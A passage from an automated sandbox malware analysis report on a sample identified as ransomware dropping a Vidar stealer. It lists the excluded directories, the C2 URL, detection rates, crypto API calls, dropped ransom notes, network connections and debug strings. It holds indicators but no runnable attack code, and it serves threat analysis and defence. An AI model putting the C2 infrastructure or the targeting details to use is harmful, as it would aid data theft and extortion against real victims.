".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E
Source: 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	ReversingLabs: Detection: 86%

Multi AV Scanner detection for submitted file

Source: lzShU2RYJa.exe

ReversingLabs: Detection: 42%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: lzShU2RYJa.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68

Source: lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000683000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_1c82d369-8

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Unpacked PE file: 1.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Unpacked PE file: 4.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 6.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 11.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Unpacked PE file: 16.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 20.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Unpacked PE file: 24.2.lzShU2RYJa.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 29.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 31.2.mstsca.exe.400000.0.unpack

Source: lzShU2RYJa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	File created: C:\Users\user\_README.txt

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.17.209.196:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49753 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\g source: lzShU2RYJa.exe, 00000004.00000003.2122180599.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121686438.0000000009B09000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136011626.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2182936841.0000000003663000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\BYY source: lzShU2RYJa.exe, 00000004.00000003.2193038000.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\% source: lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ate\ source: lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ Data\ source: lzShU2RYJa.exe, 00000004.00000003.2178293005.0000000003483000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2186063956.000000000348B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\P source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2097856150.0000000003195000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077179286.0000000003163000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076682651.0000000003178000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbxt.bgzqxt5 source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a source: lzShU2RYJa.exe, 00000004.00000003.2171431465.0000000009B98000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203997234.0000000009B99000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184597991.0000000009B99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: lzShU2RYJa.exe, 00000004.00000003.2122180599.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121686438.0000000009B09000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2136011626.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143820420.0000000009B58000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000000.1745205959.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000002.1749056739.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1746563479.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\C source: lzShU2RYJa.exe, 00000004.00000003.2177143846.000000000351E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\r\\ source: lzShU2RYJa.exe, 00000004.00000003.2183728527.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190963116.000000000351E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189229761.0000000003517000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190316884.000000000351C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ta\A source: lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\dm\ source: lzShU2RYJa.exe, 00000004.00000003.2135069960.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149698128.0000000009C7A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149659795.0000000009C6A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\L source: lzShU2RYJa.exe, 00000004.00000003.2182936841.0000000003663000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z^C:\fixah\rarekoxewun-kadezezetoz\xaridevo pebudujogoril40\pom.pdb source: lzShU2RYJa.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\es\s\ source: lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816443458.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816512954.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000002.1907038497.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000000.1825240894.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000010.00000000.1905657736.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000013.00000002.2007233188.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.1918649679.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.2006210701.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400290740.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2348483514.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399555680.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2938646873.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3044272874.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3043484355.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3649760311.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3538727281.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3648799131.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: lzShU2RYJa.exe, 00000004.00000003.2122180599.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121686438.0000000009B09000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2121906304.0000000003114000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2202124610.000000000311A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164163623.0000000003119000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2077051503.0000000003116000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150826707.0000000003119000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2123140903.0000000003119000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097897568.0000000003114000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2099318404.0000000003119000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzqY source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2172396410.000000000357E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169498078.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2171542781.0000000003576000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170692327.0000000003567000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\< source: lzShU2RYJa.exe, 00000004.00000003.2190500758.0000000003660000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189866825.000000000363F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\z source: lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034C7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135325844.00000000034AE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143613910.00000000034AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Cef\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\$ source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
